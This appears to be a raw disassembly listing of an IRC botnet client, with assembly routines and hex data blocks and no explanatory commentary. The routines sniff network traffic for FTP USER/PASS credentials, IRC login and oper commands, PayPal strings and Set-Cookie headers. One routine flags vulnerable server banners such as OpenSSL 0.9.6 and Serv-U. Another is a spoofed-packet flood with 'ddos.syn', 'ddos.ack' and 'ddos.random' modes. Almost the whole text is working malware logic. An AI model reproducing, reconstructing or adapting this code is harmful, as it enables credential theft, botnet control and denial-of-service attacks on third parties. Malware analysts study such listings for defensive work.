byte_412B61 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+4150o
dd 102B4B8h, 9992E800h, 558B0000h, 6A575608h, 0F28B5801h
dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
dd 106AF633h, 56E4458Dh, 93D6E850h, 0C4830000h, 45C7660Ch
dd 560002E4h, 0B9D415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
dd 0FF7E4DE8h, 0FF5059FFh, 4CBA1415h, 36A5600h, 4589026Ah
dd 5415FFE8h, 8B004CBAh, 0FFFF83F8h, 75FC7D89h, 6815FF5Dh
dd 50004CB9h, 0FD4C858Dh, 9C68FFFFh, 50004375h, 9675E8h
dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh
dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6C53E8FFh, 0C483FFFFh
dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF8AA9E8h
dd 565959FFh, 2CD3CBE8h, 458B9002h, 69106AD0h, 234C0h
dd 1CB88900h, 8D0043E9h, 5750E445h, 0BA0015FFh, 0F883004Ch
dd 0FF6475FFh, 4CB96815h, 858D5000h, 0FFFFFD4Ch, 43757068h
dd 0F7E85000h, 83000095h, 75390CC4h, 562075D8h, 0FD4C858Dh
dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh
dd 0FFFF6BD5h, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
dd 6C15FF57h, 0FF004CBAh, 23E8D075h, 59FFFF8Ah, 45E89056h
dd 56022CD3h, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
dd 4CB98015h, 0FFF88300h, 15FF6475h, 4CB968h, 4C858D50h
dd 68FFFFFDh, 437540h, 9574E850h, 0C4830000h, 0D875390Ch
dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
dd 0FF4CB5FFh, 52E8FFFFh, 83FFFF6Bh, 858D14C4h, 0FFFFFD4Ch
dd 3012E850h, 57590000h, 0BA6C15FFh, 75FF004Ch, 89A0E8D0h
dd 5659FFFFh, 2CD2C3E8h, 0BB539002h, 436C58h, 0FFFFBFh
dd 4C858D00h, 57FFFEFDh, 19E85056h, 83000092h, 858D0CC4h
dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CB9ECh, 0FFFF883h
dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h
dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 3468FFFEh
dd 50004375h, 953FE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
dd 752468FFh, 0E8500043h, 9528h, 59C08559h, 0C38B8675h
dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
dd 9506E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
dd 0B90415FFh, 0B70F004Ch, 75FF50C0h, 6015FFF4h, 50004CBAh
dd 8B7F048Dh, 6C6CC504h, 34FF0043h, 436C4885h, 4C858D00h
dd 68FFFFFDh, 4374F0h, 20068h, 29E85000h, 83000095h, 75391CC4h
dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h
dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF6A0Dh, 8D14C483h, 0FFFD4C85h
dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 6815FFFFh, 50004CB9h
dd 4374C468h, 4C858D00h, 68FFFFFDh, 200h, 94D2E850h, 0C4830000h
dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF69B5h, 8D14C483h
dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CBA6C15h
dd 0D075FF00h, 0FF8801E8h, 905659FFh, 2CD123E8h
db 2
; =============== S U B R O U T I N E =======================================
sub_412EDD proc near ; CODE XREF: sub_4131EC+213p
; sub_4131EC+239p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_4CE734, eax
mov eax, offset dword_4CE734
retn
sub_412EDD endp
; =============== S U B R O U T I N E =======================================
sub_412EEC proc near ; CODE XREF: sub_4131EC+2BFp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aBotSniff ; "Bot sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_412F06
loc_412F02: ; CODE XREF: sub_412EEC+29j
; sub_412EEC+3Aj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412F06: ; CODE XREF: sub_412EEC+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F02
push offset aPsniff_1 ; "[PSNIFF]:"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F02
push offset aPsniff_0 ; "PSNIFF//"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F02
push offset aJoin_0 ; "JOIN #"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_412F4E
loc_412F4A: ; CODE XREF: sub_412EEC+71j
; sub_412EEC+82j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412F4E: ; CODE XREF: sub_412EEC+5Cj
; DATA XREF: ___:off_43ACE0o
push offset a302_0 ; "302 "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a366 ; "366 "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a_login_0 ; ":.login"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset aLogin_1 ; ":!login"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset aLogin_0 ; ":!Login"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a_login ; ":.Login"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a_ident ; ":.ident"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset aIdent_0 ; ":!ident"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz loc_412F4A
push offset a_hashin ; ":.hashin"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz loc_412F4A
push offset aHashin ; ":!hashin"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412EEC endp
; =============== S U B R O U T I N E =======================================
sub_413003 proc near ; CODE XREF: sub_4131EC+2F8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aIrcSniff ; "IRC sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_41301D
loc_413019: ; CODE XREF: sub_413003+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41301D: ; CODE XREF: sub_413003+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_413019
push offset aOper_0 ; "OPER "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_413043
loc_41303F: ; CODE XREF: sub_413003+4Fj
; sub_413003+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_413043: ; CODE XREF: sub_413003+3Aj
push offset aNick_1 ; "NICK "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41303F
push offset aOper ; "oper "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41303F
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413003 endp
; =============== S U B R O U T I N E =======================================
sub_413079 proc near ; CODE XREF: sub_4131EC+32Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aFtpSniff ; "FTP sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_413093
loc_41308F: ; CODE XREF: sub_413079+29j
; sub_413079+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_413093: ; CODE XREF: sub_413079+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41308F
push offset aNick_1 ; "NICK "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41308F
push offset a220 ; "220 "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_4130CA
loc_4130C6: ; CODE XREF: sub_413079+60j
; sub_413079+71j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4130CA: ; CODE XREF: sub_413079+4Bj
push offset a230 ; "230 "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4130C6
push offset aUser_3 ; "USER "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4130C6
push offset aPass_1 ; "PASS "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413079 endp
; =============== S U B R O U T I N E =======================================
sub_413100 proc near ; CODE XREF: sub_4131EC+35Fp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aHttpSniff ; "HTTP sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_41311A
loc_413116: ; CODE XREF: sub_413100+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41311A: ; CODE XREF: sub_413100+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_413116
push offset aPaypal ; "paypal"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_413140
loc_41313C: ; CODE XREF: sub_413100+4Fj
; sub_413100+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_413140: ; CODE XREF: sub_413100+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41313C
push offset aPaypal_com_0 ; "PAYPAL.COM"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41313C
push offset aPaypal_com ; "paypal.com"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41313C
push offset aSetCookie ; "Set-Cookie:"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413100 endp
; =============== S U B R O U T I N E =======================================
sub_413187 proc near ; CODE XREF: sub_4131EC:loc_4135B1p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aVulnSniff ; "VULN sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_4131A1
loc_41319D: ; CODE XREF: sub_413187+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_4131A1: ; CODE XREF: sub_413187+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41319D
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_4131C7
loc_4131C3: ; CODE XREF: sub_413187+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4131C7: ; CODE XREF: sub_413187+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4131C3
push offset aOpenssh_2 ; "OpenSSH_2"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413187 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4131EC proc near ; DATA XREF: sub_401ACD+42A0o
var_113B8 = byte ptr -113B8h
var_113AF = byte ptr -113AFh
var_113AC = dword ptr -113ACh
var_113A8 = dword ptr -113A8h
var_113A4 = dword ptr -113A4h
var_1138C = byte ptr -1138Ch
var_13B8 = byte ptr -13B8h
var_BB8 = byte ptr -0BB8h
var_3B8 = byte ptr -3B8h
var_3B7 = byte ptr -3B7h
var_2B8 = byte ptr -2B8h
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 113B8h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp+var_B8]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_3B7]
push 3Fh
mov [eax+90h], esi
pop ecx
xor eax, eax
mov [ebp+var_3B8], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp+var_3B8]
mov [ebp+var_20], 2
push eax
mov [ebp+var_1E], bx
mov [ebp+var_1C], ebx
call dword_4CB9E8
lea eax, [ebp+var_3B8]
push eax
call dword_4CBA58
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp+var_8]
push eax
call sub_41CD20
mov eax, [ebp+var_8]
add esp, 0Ch
mov [ebp+var_1C], eax
push ebx
push 3
push 2
call dword_4CBA54
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_413292
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_413292: ; CODE XREF: sub_4131EC+9Bj
lea eax, [ebp+var_20]
push 10h
push eax
push edi
call dword_4CBA00
cmp eax, 0FFFFFFFFh
jnz short loc_413308
call dword_4CB968
push eax
lea eax, [ebp+var_2B8]
push offset unk_437870
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_4132E4
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409869
add esp, 14h
loc_4132E4: ; CODE XREF: sub_4131EC+D6j
lea eax, [ebp+var_2B8]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C
push [ebp+var_34]
call sub_40B6D6
pop ecx
push ebx
nop
call near ptr 26E0000h
loc_413308: ; CODE XREF: sub_4131EC+B6j
push ebx
lea eax, [ebp+var_24]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push 98000001h
push edi
mov [ebp+var_C], esi
call dword_4CB980
cmp eax, 0FFFFFFFFh
jnz short loc_41338E
call dword_4CB968
push eax
lea eax, [ebp+var_2B8]
push offset unk_437840
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_41336A
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409869
add esp, 14h
loc_41336A: ; CODE XREF: sub_4131EC+15Cj
lea eax, [ebp+var_2B8]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C
push [ebp+var_34]
call sub_40B6D6
pop ecx
push ebx
call near ptr 26E0000h
nop
loc_41338E: ; CODE XREF: sub_4131EC+13Cj
mov esi, 200h
loc_413393: ; CODE XREF: sub_4131EC+1D6j
; sub_4131EC+1FBj ...
mov edi, 0FFFFh
lea eax, [ebp+var_113B8]
push edi
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_113B8]
push ebx
push edi
push eax
push [ebp+var_10]
call dword_4CB9EC
cmp [ebp+var_113AF], 6
jnz short loc_413393
push [ebp+var_113A4]
mov edi, dword_4271CC
call edi ; htons
push [ebp+var_113A4+2]
movzx eax, ax
mov [ebp+arg_0], eax
call edi ; htons
cmp [ebp+arg_0], 6Eh
movzx edi, ax
jz short loc_413393
cmp [ebp+arg_0], 19h
jz short loc_413393
cmp edi, 6Eh
jz short loc_413393
cmp edi, 19h
jz short loc_413393
push [ebp+var_113AC]
call sub_412EDD
pop ecx
push dword ptr [eax]
nop
call near ptr 71AB401Ch
push eax
lea eax, [ebp+var_13B8]
push offset aS_1 ; "%s"
push eax
call sub_41C266
push [ebp+var_113A8]
call sub_412EDD
add esp, 10h
push dword ptr [eax]
nop
call near ptr 71AB401Ch
push eax
lea eax, [ebp+var_BB8]
push offset aS_1 ; "%s"
push eax
call sub_41C266
lea eax, [ebp+var_1138C]
mov [ebp+var_4], ebx
push eax
call sub_41B9C0
add esp, 10h
test eax, eax
jle short loc_413491
loc_41345D: ; CODE XREF: sub_4131EC+2A3j
mov eax, [ebp+var_4]
cmp [ebp+eax+var_1138C], 0Dh
lea eax, [ebp+eax+var_1138C]
jnz short loc_413474
mov byte ptr [eax], 20h
loc_413474: ; CODE XREF: sub_4131EC+283j
cmp byte ptr [eax], 0Ah
jnz short loc_41347C
mov byte ptr [eax], 20h
loc_41347C: ; CODE XREF: sub_4131EC+28Bj
inc [ebp+var_4]
lea eax, [ebp+var_1138C]
push eax
call sub_41B9C0
cmp [ebp+var_4], eax
pop ecx
jl short loc_41345D
loc_413491: ; CODE XREF: sub_4131EC+26Fj
cmp [ebp+arg_0], 50h
jz loc_413544
cmp edi, 50h
jz loc_413544
lea eax, [ebp+var_1138C]
push eax
call sub_412EEC
test al, al
pop ecx
jz short loc_4134D8
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_43780C
jmp loc_413573
; ---------------------------------------------------------------------------
loc_4134D8: ; CODE XREF: sub_4131EC+2C7j
cmp edi, 50h
jz short loc_413544
lea eax, [ebp+var_1138C]
push eax
call sub_413003
test al, al
pop ecx
jz short loc_41350E
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_4377D8
jmp short loc_413573
; ---------------------------------------------------------------------------
loc_41350E: ; CODE XREF: sub_4131EC+300j
cmp edi, 50h
jz short loc_413544
lea eax, [ebp+var_1138C]
push eax
call sub_413079
test al, al
pop ecx
jz short loc_413544
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_4377A4
jmp short loc_413573
; ---------------------------------------------------------------------------
loc_413544: ; CODE XREF: sub_4131EC+2A9j
; sub_4131EC+2B2j ...
lea eax, [ebp+var_1138C]
push eax
call sub_413100
test al, al
pop ecx
lea eax, [ebp+var_1138C]
push eax
jz short loc_4135B1
lea eax, [ebp+var_BB8]
push edi
push eax
lea eax, [ebp+var_13B8]
push [ebp+arg_0]
push eax
push offset unk_43776C
loc_413573: ; CODE XREF: sub_4131EC+2E7j
; sub_4131EC+320j ...
lea eax, [ebp+var_2B8]
push esi
push eax
call sub_41C360
add esp, 20h
cmp [ebp+var_2C], ebx
jnz loc_413393
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409869
add esp, 14h
jmp loc_413393
; ---------------------------------------------------------------------------
loc_4135B1: ; CODE XREF: sub_4131EC+36Ej
call sub_413187
test al, al
pop ecx
jz loc_413393
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_437734
jmp short loc_413573
sub_4131EC endp
; ---------------------------------------------------------------------------
byte_4135DF db 55h ; DATA XREF: sub_401ACD+6464o
dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh
dd 0A5F3FFFFh, 29080C7h, 10000h, 2FE80000h, 900227D2h
dd 8CA6E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh
dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
dd 8D5014C4h, 0FFFB6C85h, 789C68FFh, 0E8500043h, 8C1Eh
dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 0FAE8FFFFh, 83FFFF61h
dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
dd 0FF804DE8h, 565959FFh, 0C96EE890h, 5E5F022Ch
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413694 proc near ; CODE XREF: ___:00413A0Bp
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CB944
test eax, eax
jz short loc_4136D4
xor eax, eax
jmp loc_4139C7
; ---------------------------------------------------------------------------
loc_4136D4: ; CODE XREF: sub_413694+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CBA78
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_4139BF
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_4CB9B4
cmp eax, 0FFFFFFFFh
jz loc_4139B5
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_4CB9D4
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_4CB9D4
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_4CB9D4
mov [ebp+var_12], ax
call sub_41C2C2
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4CB9D4
push 12345678h
mov [ebp+var_14], ax
call dword_4CB9D0
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4137A4
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_4137F8
; ---------------------------------------------------------------------------
loc_4137A4: ; CODE XREF: sub_413694+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4137C0
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_4137F8
; ---------------------------------------------------------------------------
loc_4137C0: ; CODE XREF: sub_413694+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4137F8
call sub_41C2C2
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_41C2C2
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_4137F8: ; CODE XREF: sub_413694+10Ej
; sub_413694+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_4CB9D4
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
call near ptr 27804FCh
nop
lea eax, [ebp+var_1C]
push eax
nop
call near ptr 27802A0h
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_41DB20
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_413846: ; CODE XREF: sub_413694+2E2j
; sub_413694+2F0j
mov [ebp+var_4], bx
call sub_41C2C2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CB9D4
mov [ebp+var_14], ax
call sub_41C2C2
mov edi, eax
shl edi, 10h
call sub_41C2C2
or edi, eax
push edi
call dword_4CB9D4
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CB9D0
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CB9D4
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41CD20
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AA5F
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41BF70
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AA5F
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_4CBA38
cmp eax, 0FFFFFFFFh
jz short loc_413989
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
nop
call near ptr 27802A0h
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_4139B2
jl loc_413846
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_4139B2
jmp loc_413846
; ---------------------------------------------------------------------------
loc_413989: ; CODE XREF: sub_413694+2CBj
call dword_4CB968
push eax
lea eax, [ebp+var_F4]
push offset dword_4378C4
push eax
call sub_41C266
lea eax, [ebp+var_F4]
push eax
call sub_415D38
add esp, 10h
jmp short loc_4139B5
; ---------------------------------------------------------------------------
loc_4139B2: ; CODE XREF: sub_413694+2E0j
; sub_413694+2EEj
mov ebx, [ebp+arg_8]
loc_4139B5: ; CODE XREF: sub_413694+78j
; sub_413694+31Cj
push [ebp+var_20]
call dword_4CBA6C
pop esi
loc_4139BF: ; CODE XREF: sub_413694+5Bj
call dword_4CB92C
mov eax, ebx
loc_4139C7: ; CODE XREF: sub_413694+3Bj
pop edi
pop ebx
leave
retn
sub_413694 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40A8F0
push dword ptr [esp+18h]
mov esi, eax
call sub_41C159
push dword ptr [esp+24h]
mov ebx, eax
call sub_41C159
mov edi, eax
call sub_41C2C2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push dword ptr [esp+2Ch]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_413694
add esp, 20h
test eax, eax
jnz short loc_413A1A
push 1
pop eax
loc_413A1A: ; CODE XREF: ___:00413A15j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
byte_413A29 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6643o
dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h
dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h
dd 0FF000001h, 4CBA5415h, 0FFF88300h, 75FC4589h, 6815FF5Fh
dd 50004CB9h, 0FC44858Dh, 0C468FFFFh, 50004379h, 87E9E8h
